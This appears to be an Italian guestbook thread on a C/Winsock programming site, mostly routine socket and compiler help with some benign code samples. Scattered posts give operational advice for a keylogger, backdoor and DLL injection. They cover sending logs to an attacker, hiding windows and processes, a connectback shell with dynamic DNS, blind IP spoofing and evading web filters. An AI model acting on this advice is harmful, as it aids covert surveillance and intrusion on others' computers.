Con il service pack 2 non è possibile utilizzare raw socket utilizzando il winsock di windows xp, prima dell' sp2 si, se si era amministratore, comunque ti sconsiglio l'utilizzo su windows, vista la facilità di implementazione su Unix.
Ciao!
scusami:
http://www.uppo.it/storage/ea13104ba8fa1496cc6a4842ce7ea2f7.zip
ing_mancato:
facciamo così vi spiego il mio problema per filo e per segno e poi così avrò la cosienza a posto...
io devo scrivere del codice c per connetermi a un router lobometrics che monta sopra router os della mikrotik, pensavo che bastassero delle semplici socket e una connessione sulla porta 23 ma così non è il server mi risponde ma lo fa una sola volta e poi da picche non colloquia più. come posso fare??
si accettano suggerimenti.
Grazie a chiunque volesse darmi una mano....
JiNG:
è possibile usare le RAW-SOCKET in windows ?
PS:
prova DoKu-Wiki, è carino, non necessita di DataBase xk' utilizza solo file di testo ed ha anche il Syntax-Highlight
http://wiki.splitbrain.org/wiki:dokuwiki
Ing_mancato:
per giusy
prova a vedere se su questo sito c'è quello che fa per te
http://cs.baylor.edu/%7Edonahoo/practical/CSockets/winsock.html
Ing_mancato:
come faccioa creare un client telnet con le winsock??
Io so già che c'è un server telnet in ascolto sulla porta 23 mi basta usare il programma client e connetermi a lui attraverso la porta 23 e le winsock?
Komrade:
Se devi creare un client, prova a vedere qui:
http://nbpfaus.net/~pfau/ftplib/
C'è una libreria semplice da usare per creare un client FTP.
TheNewSystem:
Mi consigli una guida sulla gestione dell' ftp in C sotto windows???
Non so se devo implementare una libreria o se ci sono delle funzioni belle pronte per i winsock. GRAZIE e complimenti.
Komrade:
Dopo una lunga assenza ho deciso di riprendere i lavori sul sito, perché ancora viene utilizzato e apprezzato, sto facendo del mio meglio per riuscire ad aggiungere materiale il prima possibile. Per ora ringrazio chi ha dato la propria disponibilità, appena avrò bisogno mi farò sentire...
Risposta a Nedo:
WM_QUERYENDSESSION è il messaggio che Windows invia alle finestre quando la sessione viene chiusa, quindi può essere utilizzato per testare la chiusura di Windows.
Risposta a giusy:
Non ho capito la tua richiesta...
Risposta a Ing_Mancato:
Il programma server va eseguito passando come parametro la porta su cui il server deve mettersi in ascolto. Puoi scegliere tu la porta che preferisci.
Risposta a mattikk:
Non ho capito la tua richiesta...
Risposta a JING:
Grazie per l'idea, in effetti mi piacerebbe una cosa del genere
Ciao a tutti!
JiNG:
Metti su un Wiki , io apprezzo moltissimo le info ^__^ continua così
mattikk:
..è chiedere troppo una sorgente per un antivirus?
Ing_mancato:
una domanda facile facile per te komrade, nel tuo programma server delle winsock cosa bisogna mettere per farlo partire e farlo funzionare corretamente??
argv [0] è il nome del programma, e argv[1] lì ci andrà la porta ma non è la 23 di default?
ti prego mi servirebbe questa manona!!
grazie
giusy:
è possibile avere un esempio di TCPEchoClient e TCPEchoServer, però in windows?? grazie
Nedo:
Salvo incomprensioni riposto la domanda: quello che cerco è come riconoscere quando windows termina (oppure un programma che so io explorer.exe)Così posso fermare il mio programma che fa dei log prima che termini la sessione…
Ho sentito parlare del messaggio WM_QUERYENDSESSION ma si riferisce solo al c++ Grazie
Nedo:
Inanzitutto complimenti per il sito, ero interessato al keylog e l'ho pensato così: dllinjection,invio email(nel caso config.bak non c'è o non c'è connessione salta l'invio), keylog. Il problema è che keylog dovrebbe terminare prima o poi, pensavo che la chiusura di windows fosse sufficiente, ma mi viene una schermata con scritto termina processo..., ho provato a farlo terminare cercando con la trovaPid() quando un processo (es msn) viene terminato ma mi mangia letteralmente la memoria(già provato con la free():( ). Non c'è un segnale che manda windows quando termina così posso uscire dal famigerato while (1) verificando questo segnale? spero di essere chiaro, grazie a tutti. ciao.
Happyhacking:
Perche devi linkare la libreria.
E' qualcosa tipo "licomctl32.a"
mamo139:
ciao ragazzi... davvero complimenti per il sito...
volevo solo dirvi che ho provato a compilare privatechat con devc++ e mi da questo errore...
`INITCOMMONCONTROLSEX' undeclared (first use in this function)
come mai???
grazie mille ciao!!!
Ciak0:
Ciao, complimenti per il sito, molto interessante soprattutto l'inject, avevo visto anche un esempio in VB online...
Volevo avvisarvi che per la ricerca di tutti i processi in esecuzione nel sistema si possono usare altre API e strutture molto più semplici, presenti nel kernel.
Le funzioni da usare sono:
CreateToolhelp32Snapshot()
Process32First()
Process32Next()
La struttura dati per le info Processo è: PROCESSENTRY32.
Create un progretto non MFC, console...
Un semplice esempio è questo:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
void main(void)
{
OSVERSIONINFO osinfo;
osinfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
if (!GetVersionEx(&osinfo))
{
printf("Unable to get OS version!\n");
return;
}
if (osinfo.dwPlatformId & VER_PLATFORM_WIN32_NT)
{
// we are running on NT, so make sure its
// NT 5.0 or greater...
if (osinfo.dwMajorVersion<5)
{
printf("ToolHelp API isn't support on NT versions prior to Windows 2000!\n");
return;
}
}
HANDLE hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if (!hSnapshot)
{
printf("Unable to create snapshot!\n");
return;
}
PROCESSENTRY32 pe;
ULONG count=0;
// inizializza struttura
pe.dwSize=sizeof(PROCESSENTRY32);
BOOL retval=Process32First(hSnapshot,&pe); //Primo processo
while(retval) //Finchè trovi
{
count++; //Si possono utilizzare tutte le info che si vogliono
//su pe
printf("[%08X] %s\n",pe.th32ProcessID,pe.szExeFile);
retval=Process32Next(hSnapshot,&pe); //Next
}
CloseHandle(hSnapshot);
}
Spero vi possa servire. Ciao!
Dave88:
Allora, punto primo, grazie...grazie per aver fatto una guida chiara e semplice sui Socket, la prima guida da cui sono riuscito a capirli.
Ora pero vorrei chiederti una cosa: Sto cercando(inutilmente) di fare un timeout sul connect()...ma non ci riesco in nessuna maniera, se mi dai qualche dritta, magari un esempiuccio...ti faccio un poster...Ciao ^__^
sn0z33r:
ciao, sono sempre io :P
Devo dire che da quando ti ho scoperto (ormai ne e' passato di tempo :P) un giretto nell'area notepad del sito lo faccio spesso e volentieri, quando la sera ho 5 minuti prima di andare a letto. Veniamo al punto... che il sito non sia piu' aggiornato e' davvero un peccato, c'e' da dire che cmq il sito e' nato come raccolta di tuoi essay ed e' tutto codice che ci hai messo a disposizione. A me personalmente piacerebbe poterti aiutare pero' vorrei prima chiederti se hai gia' in mente qualcosa, cosa contavi di fare e soprattuto come potrei aiutarti :P perche' non credo di essere all'altezza di scrivere articoli mantendo il livello qualitativo e di interesse che tu hai dato ai tuoi (o almeno adesso non mi viene in mente niente) sappi cmq che sono disposto a rendermi utile in qualche modo :P quindi ora ti ripasso la palla e sento cosa mi dici :P
Questa settimana e' probabile che quei famosi 5 minuti prima della nanna non li avro' perche' oggi ho dato analisi elementi e giovedi' devo dare reti 2 basi di dati elementi e algoritmi e strutture dati, piu' un eventuale modulo di programmazione (che non ho ancora deciso :P) quindi se non mi senti prima di venerdi' non darmi per disperso :P
n8
Giova:
Grazie per l'aiuto Komrade.
Per fortuna non devo fare alcuna modifica ai orgenti del mio programma. Tanx
Happyhacking:
Per me quella del nuovo sito è un'ottima idea :-)
Komrade:
Risposta a Happyhacking e Newbie:
Come giustamente ha fatto notare sn0z33r potete scegliere voi il modo che preferite per ricevere sul vostro computer i dati raccolti dal keylogger, sicuramente la connessione diretta è il metodo più sicuro, il problema degli ip dinamici potrebbe essere risolto cercando il vostro pc tra gli ip del provider, con un opportuno programma in ascolto su di una porta del vostro pc.
Si può anche inviare una mail, ma sicuramente questo è un metodo meno sicuro del precedente.
Risposta a Giova:
Leggendo nella man page di gethostbyname()...
struct hostent *gethostbyname(const char *name);
The gethostbyname() function returns a structure of type hostent for the given host name. Here name is either a host name, or an IPv4 address in standard dot notation, or an IPv6 address in colon (and possibly dot) notation. (See RFC 1884 for the description of IPv6 addresses.)
Quindi è possibile passare sia l'hostname che l'host address, la funzione svolgerà in entrambi i casi il suo lavoro correttamente.
Risposta per Leon:
Ti consiglio di utilizzare la getline() che legge un'intera linea da riga di comando finché non viene trovato il carattere di fine linea o non viene raggiunto un limite di caratteri passato come parametro.
http://www.cplusplus.com/ref/iostream/istream/getline.html
Ciao!
Leon:
Ciao a tutti,
ho iniziato da poco a programmare in C. Ho un problema con la gestione delle stringhe. Mi spiego: Devo passare una stringa in imput che contiene degli spazi(almeno uno).
Il problema sta nel fatto che le normali funzioni C considerano i valori passati come due o più stringhe, se ci sono più spazi.
La domanda è: esiste qualche funzione che prende dallo standard imput stringhe che contengano spazi?????????
Grazie a chiunque risolverà i miei problemi...
Giova:
Ciao Komrade,
scusa se ti disturbo ancora. Vorrei scrivere un applicazione per Windows da usare sotto shell che riceve come primo parametro della linea di comando un indirizzo internet al quale l'applicazione deve connettersi. Per far questo uso gethostbyname. Se invece di passare come primo parametro il nome del host da raggiungere passo l'ip del host, l'applicazione funziona oppure devo sistemare qualcosa?
Grazie.
sn0z33r:
ragazzi quando codate voi potete fare tutto quello che volete..... mandarvi una mail, un messaggio su msn o su icq o su irc insomma TUTTO...
Happyhacking:
C'e un qualche altro modo invece che telnet
???????
Newbie:
Si anchio sto pensando come farmi arrivare i log. Come posso fare?
Si potrebbe usare tenet per inviare il log per posta? O salvare il log su un file in uno spazio web preimpostato?
Happyhacking:
Komrade una domanda.
Come posso far comunicare il keylogger con il pc dell'"attaccante" ????
Mail ??? Aprendo una connessione diretta ??? E se i'IP è dinamico ???
Giova:
Grazie Komrade,
è proprio quello di cui avevo bisogno!!!!
I miei complimenti!
Ci sono un sacco di cosette interessanti, compreso il sorgente di un programma
che lista tutti i processi, i thread e le dll in esecuzione sulla macchina, compresi i relativi path... Very Good!!!
Grazie ancora,Ciao!
Komrade:
Per Giova:
La funzione che ritorna un elenco con i nomi dei vari processi che sono in esecuzione è la stessa per cercare il PID dei processi attivi ed è la ntQuerySystemInformation(), mentre per sapere il path questo articolo ti può essere di aiuto:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/perfmon/base/enumerating_all_modules_for_a_process.asp
Per Luca:
Sei siucro che non faccia niente? Ho provato, eseguendo il file all'avvio viene creato il file config.bak nella directory "Documents and Settings\Nome_utente". Prova a modificare il sorgente nella #define LOGFILE e mettere un path (ad esempio "c:\config.bak") e il file ti dovrebbe comparire in c:\
Ciao!!!
Happyhacking:
Scuasa luca non è che posteresti il codeice per aggiungere il virus all'avvio ?!?!?
luca:
Ciao a tutti,
Complimenti agli ideatori di questo sito.
Ho un piccolo problema con il programma keylogger, riesco a compilarlo senza problemi, se lo avvio cliccandoci su 2 volte funziona perfettamente, ma se lo metto in esecuzione automatica all'avvio del sistema operativo(sfruttando il registro di sistema), non funge.
Se richiamo il taskmanager il processo keylogger è presente, ma in realtà non fa niente.
Suggerimenti????????
Happyhacking:
Hai ragione funziona !!!!!
Giova:
Ciao a tutti.
Vorrei sapere se oltre alla funzione per ottenere un handle per un processo specifico in memoria, esiste una funzione che ritorna un elenco con i nomi dei vari processi che sono in esecuzione(Vorrei creare una specie di tskmanager). E se non chiedo troppo, vorrei sapere se esiste una qualche funzione che in qualche modo ritorna il path del file che ha generato quel processo.
ES. se ho in memoria il processo pioppo.exe, esiste una funzione che mi ritorna qualcosa tipo: C:\path di pioppo\pioppo.exe???
Spero di essere stato chiaro. Grazie
Komrade:
Se crei una "Windows Application" al posto di una "Console Application" la finestra DOS non compare.
Ciao
Happyhacking:
Come faccio per il keylogger a nascondere la finestra del DOS ??? Ho provato a creare una finestra con SW_HIDE (che me la nasconde) ma la finestra del DOS rimane, perche ???
ToM:
avevo 4.7.9.0 una kosa del genere..
Happyhacking:
Che versione avevi ? La beta della 5 per caso ???
ToM:
X komrade,
ho risolto grazie tante, era un errore nella mia versione di dev c++.. ora ho preso una nuova ed è tt ok..
ToM:
komrade ti ringrazio per la risposta ma il fatto è che quando inserisco il breackpoint(si evidenzia la linea in rosso), ma poi premendo F8 il programma mi da direttamente il risultato finale senza fermarsi...Potrebbe essere un errore del dev c++?? o c è qualke altra cosa ke devo fare?
Komrade:
Per ToM:
Per il debug con Dev-c++: inserisci un breakpoint all' inizio del programma, premendo F8 entri nella finestra di debug e poi vai avanti con F7 (oppure puoi utilizzare il menu Debug)
xor:
gcc dalla shell se usi linux funziona sicuro
www.shockside.org:81/~xor/
Postate ne guestbook
Animanera:
ciao a tutti,
visto il crollo di razorback su emule causa autorita', sto cercando, con un gruppetto di amici, di realizzare un client p2p che sia sicuro al 100% utilizzando algoritmi di crittografia e di routing adeguati.
x il momento e' solo un'idea, anke se piuttosto definita.
se qualcuno di voi e' interessato e ha un po' di tempo da perdere, mi puo' contattare via mail a "an1m4n3r4@hotmail.com", o mi puo' aggiungere direttamente ai suoi contatti.
x il momento l'idea era quella di svilupparlo in c#, ma se riusciamo a riunire parecchie persone possiamo trovare soluzioni piu' valide :P
visto ke il tempo scarseggia un po' a tutti, + siamo meglio e'.
fatemi sapere :)
ciao ciao
ToM:
Raga Vi prego qlkuno può aiutarmiii. . .
PppPppPpp:
Come faccio a mandare i messaggi?
AleXHacking:
Spettacolo sto sito!!
Happyhacking:
Bellissimo sito complimenti !!!! :-)
ToM:
vorrei visualizzare di tanto in tanto il valore delle variabili, come facevo in VB6 premendo F8...nn so se rendo l idea! quando xo lo faccio in C il programma si esegue normalmente senza fermarsi, anke se metto dei punti di
Breakpoints..
sn0z33r:
intendi usare gdb o no ?
poi io rimango dell'idea che il debugging tramite printf() sia valido :P se hai bisogno di controllare delle variabili in particolare o te le stampi oppure metti un watch sulla variabile.. se hai bisogno di altro chiedi pure :)
ToM:
Ragazzi visito x la prima volta questo sito... Nn so se posso domandare, ma c è quelkuno ke mi potrebbe aiutare con il debug in dev c++?? non riesco a kapire kome funziona. . .ve ne sarei grato
pinco pallino:
grazie komrade
Komrade:
per pinco pallino:
Guarda qui:
http://groups.google.it/group/it.comp.os.linux.development/browse_thread/thread/ce6eab1a2ff533d2/fff5a4a6b6392a8e?lnk=st&q=compilatore+%22ambiente+integrato%22+linux&rnum=2&hl=it#fff5a4a6b6392a8e
Comunque vi + gcc ti offrono già tutto ciò di cui hai bisogno
per Great2:
le winsock sono già presenti come header e librerie nel tuo compilatore, non devi cercare niente hai già tutto
per Animanera:
Se tcpdump non ti basta puoi utilizzare ethereal che è completo e facile da usare
per neo:
Come rendere la recv() non bloccante è scritto nel tutorial "Programmazione delle socket", cerca quando si parla del programma "bannerscan.c" e guarda anche il codice di quel programma
per tutti:
Ringrazio tutti quelli che hanno portato avanti questa pagina nella mia assenza e se non ho risposto a qualcuno chiedete pure nuovamente. (Sono rimasto assente troppo a lungo!!!)
Ciao a tutti.
Komrade:
Se tu avessi un minimo di buonsenso, capiresti che queste informazioni non sono illegali, se vuoi in privato ti posso anche spiegare il perché visto che da solo non ci arrivi.
Ti prego di non disturbare la polizia postale con le tue inutili segnalazioni perché sicuramente avranno cose molto più importanti da fare.
Ma se queste cose per te non sono interessanti, piuttosto che scrivere queste idiozie, perché diamine non ti metti a fare qualcosa di meno stupido e più divertente?
------------------:
Ma perché diamine non vi mettete a far qualcosa di meno illegale e più divertente? Un disclaimer non basta. La cosa verrà segnalata debitamente alla polizia postale.
pinco pallino:
ciao a tutti.conoscete per caso qualche compilatore sotto linux in ambiente integrato, come per esempio dev-c++ per win? Grazie in anticipo
Great2:
salve a tutti sto iniziano ora a programmare con le winsock come programma usa dev c++ sapete dove posso trovare le winsock dato ke nn sono incluse .........
Animanera:
x banni:
le api che controllano il registro le trovi sull'msdn.
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/sysinfo/base/registry_functions.asp
x tutti:
sapete cm si fa a usare tcpdump cm se fosse tcpflow? o senno' cosa mi consigliate x packet sniffing?
ciao ciao
banni:
Ciao a tutti.
Devo creare un applicazione per Windows in C che dovrebbe utilizzare alcuni valori del registro di sistema... Qualcuno sa quali sono o dove trovare le API per il C per confrontare, creare e cancellare chiavi del registro di sistema?
Grazie anticipatamente
neo:
ciao...ottimo sito veramente!!!!!Voevo chiederti una cosa.....C'e' qualche modo per rendere la funzione recv() non bloccante??
Grazie
banni:
Grazie sn0z33r,
cmq quando parlavo di kde intendevo il kdevelop, scusami mi sono espresso male... Prossimamente cercherò di riportare l'errore che occorre puntualmente nella compilazione dei programmi, anche se credo che si tratti di qualche problema del compilatore e non di un mio errore visto che prima fungeva ed ora non riesce a compilare nemmeno i programmi "hello world" che il kde da già pronti.E lo stesso vale per il gcc... poi non ho fatto altro che provare a compilare i programmi di komrade per l'invio di pacchetti tcp e udp, e tranne se non sto rinco****nendo quelli sono per linux...
Cmq come detto il problema non sono i sorgenti che provo a compilare dato che con qualsiasi sorgente l'errore è sempre lo stesso.
Grazie di tutto, ciao
sn0z33r:
ok, ora sei stato decisamente piu' chiaro :P
io direi che la miglior risposta te la puo' dare solo l'rfc del protocollo udp che e' cmq facile da reperire, oppure su un libro di reti.. il tanenbaum puo' essere un esempio, ma sempre meglio l'rfc. In sostanza coi raw socket hai la possibilita' di crearti tu il pacchetto, quindi per crearlo non devi far altro che scoprirne la struttura (che tra l'altro non e' nemmeno complessa). Fai attenzione pero' su windows xp sp2 se non ricordo male i raw socket sono stati disabilitati insieme al numero max di connessioni contemporanee che puoi eseguire.
PS... su linux, apparte che kde non e' un compilatore ma e' un window manager, per compilare sorgenti c devi usare gcc (info sull'utilizzo da bash man gcc) da bash, oppure g++ per sorgenti c++ (man g++ sempre :P). Le regole son sempre quelle, basta scrivere i sorgenti in un file di testo non formattato. Se preferisci usare qualche tool grafico su kde c'e' l'ottimo kdevelop , con le sue varie dipendenze da installare anch'esse :P. Inoltre c'e' da dire che i socket sono nati su linux e poi copiati brutalmente con routine di inizializzazione differenti col nome di winsock :P. Ora non credo (o almeno spero :P) che tu non abbia provato a compilare lo stesso identico sorgente per win in ambiente linux, pero' non si sa' mai :P (LOL). Se sei in questo caso come minimo devi cambiare gli header e la routine di inizializzazione, poi bind send ect ect rimangono identiche ;) cmq tutte le info del caso le puoi trovare sul gapil che ti ho gia' consigliato :P
PS komrade potrei iniziare a prendendere lo stipendio xD (LOL) [ovviamente scherzo :P]
PSS banni, scusa se erroneamente ti ho rispondo come avrei rispondo a un principiante (non che io sia molto piu' di quello :P) pero' tu non hai postato nemmeno l'errore che ti da :P
banni:
Ciao sn0z33r,
ti ringrazio per l'aiuto.
Cmq ho già dato un'occhiata alla programmazione con i normali socket di rete e so che per inviare dati si possono usare le funzioni send o send to, ecc. ecc.
Io ero più che altro interessato a provare qualcosa tipo una connessione spoofata,supponendo che io sia in grado di prevedere syn e ack... Credo che si chiami spoofing alla cieca... Ora, se non ho capito male (perdonatemi eventuali errori) dovrei creare un programmino che usando le raw socket invii uno dopo l'altro i miei pacchetti con ip spoofato. Quello che mi chiedevo è questo(scusate se non mi sono spiegato bene prima): prendendo in esempio il programma di Komrade per inviare pacchetti tcp,una volta create le intestazioni del pacchetto, gli eventuali dati da inviare, vanno accodati al vettore buffer del programma? Se no, come si fa ad inserire i dati dopo le intestazioni??? Spero di essere stato chiaro.
Ah poi ho un grave problema con linux(Slackware10.1)... Non riesco a compilare nulla ne con KDE,ke mi da sempre lo stesso errore qualsiasi programma io compili, ne da linea di comando(gcc).Suggerimenti?
Scusate per il disturbo e grazie a tutti!
sammy:
salve ragazzi, dovrei tenere traccia,attraverso un modulo del kernel, dei mac address in una lan. COsa mi consigliate? Ho pensato ad una lista (list kernel) voi che ne pensate?
sn0z33r:
ciao banni, ti rispondo io che ormai sono un assiduo frequentatore della sezione notepad del sito di komrade :P poi al max ti rispondera' lui con maggior precisione. Sia che tu lavori usando il protocollo udp o tcp per inviare dati devi cmq usara la funzione send() la cui interfaccia per utilizzarla e':
send(SOCKET s, char *buffer, int length, int flag) dove SOCKET s e' una struttura socket che hai gia' connesso, char *buffer e' un puntatore a stringa, int length e' la lunghezza in byte della stringa puntata da *buffer (che puoi ottenere includendo tra gli header anche string.h per invocare sizeof(char *buffer)), int flag e' una variabile che puoi utilizzare il modo in cui chiami la funzione (di norma passare 0 va bene, se vuoi vedere le possibilita' ti rimando all'msdn se lavori su windows o al gapil se lavori su unix like) ed e' tutto... l'unica differenza di utilizzo tra udp e tcp, oltre ovviamente al protocollo che funziona diversamente :P sul sorgente devi inizializzare il socket per un protocollo o per l'altro utilizzando le costanti dichiarate in winsock.h :P
un saluto nella speranza di non aver detto cazzate :P
banni:
Ciao Komrade.
Anzitutto complimenti per il sito.
Volevo farti una domanda... Ho dato un occhiata veloce al programma per la generazione di pacchetti tcp, solo che mi sfugge una cosa... Dove inserisco i dati che intendo inviare con il pacchetto? Per esmpio una stringa di caratteri o qunt'altro...
Grazie anticipatamente e buon lavoro
mouse82:
Grazie Komrade per questi appunti..... Mi sono utilissimi.
In caso di chiarimenti mi faccio sentire
sn0z33r:
apparte che se avessi letto bene avresti scoperto che in linea di massima i sorgenti sono compilabili con qualsiasi compilatore, ma "deRv-c++" (?????) [forse dev-c++ ?] non e' quello che ha utilizzato lui.
Poi continuo a non capire perche' chi non sa nemmeno le basi del c si immerge in argomenti avanzati.. bah contenti voi di capirci un cazzo e limitarvi a fare copia incolla dei source beh.. allora contenti tutti
ciao ciao ;)
pippo86:
Come mai il codice dll injection con derv-c++ non funge!
si potrebbero avere maggiori informazioni/chiarimanti in merito alla questione della mancata comparsa della Messagebox.
grazie ciao
Komrade:
Sei sicuro che la dll che hai creato per l'injection venga trovata? La dll dovrebbe stare o nella directory dove esegui injection o nella system32.
Ciao
marco:
Complimenti per le tue guide......sono alle prime armi con il c++....Ho provato codeinjection ,creato la libreria,ma quando parte mi dice nel log : Creati 7 bytes all' indirizzo 0xb00000
Injection eseguita
Ma non succede nulla.......
Komrade:
Risposta per Neo0101:
Gli errori che ti compaiono sono presenti perché per poter creare il file eseguibile devi linkare la libreria wsock32.lib. Guarda tra le opzioni del tuo compilatore (cerca dove si aggiungono le librerie per il linker) ci deve essere la voce per poter aggiungere una libreria al progetto.
Risposta per nessuno:
Non ci sono delle funzioni C in particolare, ti consiglio di trovare più informazioni possibili su come vengono bloccati i siti e cercare il metodo per fregarlo (per esempio con un proxy), sempre che ne vslga la pena.
Ciao!
Neo0101:
Ho scaricato dalla sezione dei winsock i 2 sorgenti: client e server...ma quando compilo mi da i seguenti errori:
[Linker error] undefined reference to `WSAStartup@8'
[Linker error] undefined reference to `socket@12'
[Linker error] undefined reference to `htons@4'
[Linker error] undefined reference to `connect@12'
perchè?!?!! in cosa sbaglio???
nessuno:
Ciao,
ho un problema: sui dei PC (in rete) è installato WinXp SP2 Pro. Alcune utenze hanno dei limiti per quanto riguarda la navigazione in Internet: possono visitare solo alcuni siti. Da quali funzioni C devo partire per buttare giù un programma che mi consenta di abbattere questa "barriera"?
Grazie!
Animanera:
ringrazio e ricambio.
Auguri a tutti!!
sn0z33r:
auguri anche a te komrade ;)
Komrade:
Auguri a tutti di buone feste
Vincenzo:
Il sito è buono, ma il tutorial sui socket è un po troppo superficiale.
Batman:
Ciao a tutti ! Ho visto che fino a Windows 98 era possibile tramite una funzione del Kernel32 (RegisterServiceProcess) rendere invisibile un processo allo stesso Task Manager. Ora non lo è più. Qualcuno è ha conoscenza di una funzione simile, operativa nei nuovi O.S.? Molto interessante l'articolo sul code injection.
WWW.LEONAPSTER.TK:
BEl sito!
uno cosi lo cercavo da tanto!!!
CMq...
ke compilatore usate?qual'è il meglio?ossia il più semplice a creare un .exe?
da dove lo posso scaricare????????
risp o qui o possibilmente a leonapster@hotmail.it(ve ne sarei molto grado)
Tex:
Scusate, avrei un argomento da proporre:
Viste le mie pressochè nulle conoscenze del c, alcune cose sugli winsock non mi sono chiare, come per esempio il funzionamento dei recv().. ho cercato su internet ma non ho ancora trovato una guida (in italiano) che mi facesse capire bene l'invio e ricezione dei pacchetti...
Io proporrei una guida basata esclusivamente su queste cosette (tempo permettendo), cosi da permettere anche a users del mio livello di capire meglio.. Ciau e Grazie in anticipo!
Scg:
ottimo sito...complimenti veramente
Giorgio:
Per Animanera, ok, mi sono spiegato da cani... devo impostare, da un programma C, l' indirizzo IP statico, a una scheda di rete LAN, che si trova pre-impostata in DHCP.
Le funzioni trovate, non mi permettono molte operazioni in real-time, motivo per cui sono arrivato ad usare una chiamata netsh, che però risponde a "babbo morto", in quanto il tempo di risposta dipende da quanto è congestionato il PC su cui si esegue l' operazione.
Per quanto riguarda il sentire lo stato del modem, il modem invia sulla porta di connessione (tipicamente una COM) un segnale di "RING", se è impostato in modalità verbose o un numero (che non ricordo) per indicare la chiamata in arrivo, se te invii il comando "ATH", rispondi in voice modem, poi devi aprire un canale di streaming sul canale audio per l' invio dei messaggi.
Ti posto il link dei comandi AT: http://members.tripod.com/michaelgellis/modem.html
che sono inclusi in ogni modem, ma se cerchi su google:
http://www.google.it/search?hl=it&q=modem+AT+command&btnG=Cerca&meta=
Trovi moltissimo. Sappi che tra Linux e Windows, i canali audio si gestiscono in modo differente.
Ciao
Giorgio
Animanera:
a proposito di connessioni, qualcuno di voi sa come implementare un modem responder in c?
praticamente voglio fare questo:
chiamando da un qualsiasi numero il mio numero di casa vorrei che dopo un certo numero di squilli entrasse in funzione il modem (tipo segreteria) e che mi mandasse delle informazioni vocali diverse a seconda di alcune condizioni.
so ke e' una cosa abbastanza strana, ma sarebbe molto utile e divertente saperne di + :)
se ne sapete qualcosa o avete qualke link interessante postate!!
ciao ciao
Animanera:
ciao Giorgio,
cosa vuol dire ke devi settare un indirizzo statico passando x il dhcp? a qnt ne so o usi il un client dhcp o assegni l'indirizzo statico, in quanto il client dhcp riceve l'ip dal server dhcp. se invece hai un server dhcp, l'indirizzo statico lo puoi settare da:
start --> impostazioni --> connessioni di rete --> poi clikki col destro sulla tua connessione --> proprieta' --> seleziona "protocollo internet (tcp/ip)" --> seleziona "utilizza il seguente indirizzo ip" --> specifica l'ip (in genere 192.168.0.1 o simili) e la subnet mask (in genere 255.255.255.0 o simili).
se nn funziona in questo modo posta altre specifiche tipo:
il tipo di connessione ke devi effettuare
a cosa ti devi connettere
la natura della LAN (se devi fare una connessione LAN)
e tutti gli altri dettagli ke ti vengono in mente ke possono sempre essere utili :P
spero di essere stato d'aiuto :)
ciao ciao
Giorgio:
Hi All,
Comlpimenti per il sito, avrei una domanda veloce, sotto Win Xp Pro Sp2, devo settare un' indirizzo IP statico su una scheda di rete passando dal DHCP.
Ho provato con la netsh, ma è lentissima, io ho la necessità di eseguire il settaggio in maniera veloce (2/3 sec. max).
Se avete suggerimenti...
Ciao e grazie
Giorgio
gemma:
ciao complimenti per il sito. io ci sono venuta per imparare i socket
Blanka:
Salve ragazzi, vorrei sapere se esiste un sito simile a questo, però orientato alla programmazione in vb.net, è da giorni che sto provando a utilizzare le icone di windows xp, quelle con canale alpha (32 bit), ma non riesco, infatti utilizzando il metodo 'Add' della 'imagelist', il canale alpha va perso e le icone non vengono visualizzate correttamente... inutile dire che ho una neuro da cineteca.
Grazie.
Animanera:
nn avete capito quello ke intendevo dire... leggete attentamente prima di rispondere e rispondete a cio' ke vi si chiede, pls
altrimenti e' solo una perdita del vostro e del mio tempo...
cicciociccio:
penso ankio ke la soluzione del sito va bene....come si fanno a mandara le email col socket???fakemail.c nn l'ho ben capito...mi potete aiutare??
ciao
Blanka:
X tutti:
chi di voi può aiutarmi con VB.NET? Non riesco a capire come ca...o si usano i file risorse... qualcuno sa come fare? Non è più come in vb6...
Grazie
Blanka:
X cicciociccio:
se vuoi il tuo ip pubblico il sorgente che hai postato e che dici funzionante va benissimo. Credo che sia l'unico modo per sapere il tuo ip pubblico.
#include <winsock.h>
#include <stdio.h>
#include <wininet.h>
#pragma comment (lib,"wsock32.lib")
#pragma comment (lib, "wininet.lib");
int main(){
HINTERNET hi, hiu;
char buffer[20], *s;
unsigned long br;
hi = InternetOpen("MyIPTest", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
hiu = InternetOpenUrl(hi, "http://pchelplive.com/ip.php", NULL, 0, 0, 0);
InternetReadFile(hiu, buffer, sizeof(buffer), &br);
s = strstr(buffer, " ");
*s = 0;
printf("Il tuo ip e':\t%s\n",buffer);
scanf("%d");
InternetCloseHandle(hi);
WSACleanup();
}
X Animanera:
Per quanto mi riguarda il sorgente che hai postato non può restituire anche l'ip pubblico... con quel sorgente puoi sapere gli indirizzi locali e basta, non quelli esterni.
Se cicciociccio ha un router come fai a prendere l'indirizzo esterno?
Credo non sia possibile se non con il metodo utilizzato da cicciociccio.
Animanera:
cicciociccio, una domanda... ma hai fastweb? e nel caso avessi fastweb, a cosa ti servirebbe il tuo ip "pubblico", visto ke e' del NAT router fastweb (se nn sbaglio e' anke statico) e non del tuo picci'? se invece nn hai fastweb, il codice qua sotto funziona perfettamente e restituisce tutti gli ip delle tue interfacce di rete.
Quello ke penso e' ke tu voglia provare a eseguire la backdoor di Komrade sul picci' di qualcuno per poi poter curiosare...
la backdoor di Komrade, purtroppo ha 2 gravi difetti:
1) se la esegui su un computer fasweb nn puoi raggiungere quel computer a meno ke nn sia fastweb anke tu.
2) se la esegui da un altra parte (tipo i picci' degli amici) e' quasi totalmente inutile in quanto le adsl hanno ip dinamico (in genere quello statico si paga).
La shell di Komrade e' banale ma molto significativa e sostanzialmente didattica.
Superare queste difficolta' e' in realta' molto semplice (e anke educativo) realizzando una shell di tipo "connectback" e avendo un DNS dinamico.
Magari tutto quello ke ho scritto nn e' la risp alla tua domanda, ma credo ke a qualcuno sara' utile :P
cicciociccio:
questo codice mi da il mio IP locale io vorrei sapere il mio ip pubblico
Animanera:
#include <windows.h>
#include <wininet.h>
int main(){
int i;
struct hostent *host;
WSADATA data;
WSAStartup(MAKEWORD(2,0), &data);
if( (host = gethostbyname("")) != NULL ){
for(i=0; host->h_addr_list[i] != NULL; i++){
printf("ip %d: %s\n", i, inet_ntoa( *(struct in_addr *)host->h_addr_list[i] ));
} // end_for
} // end_if
free(host);
WSACleanup();
system("pause");
return;
}
:P
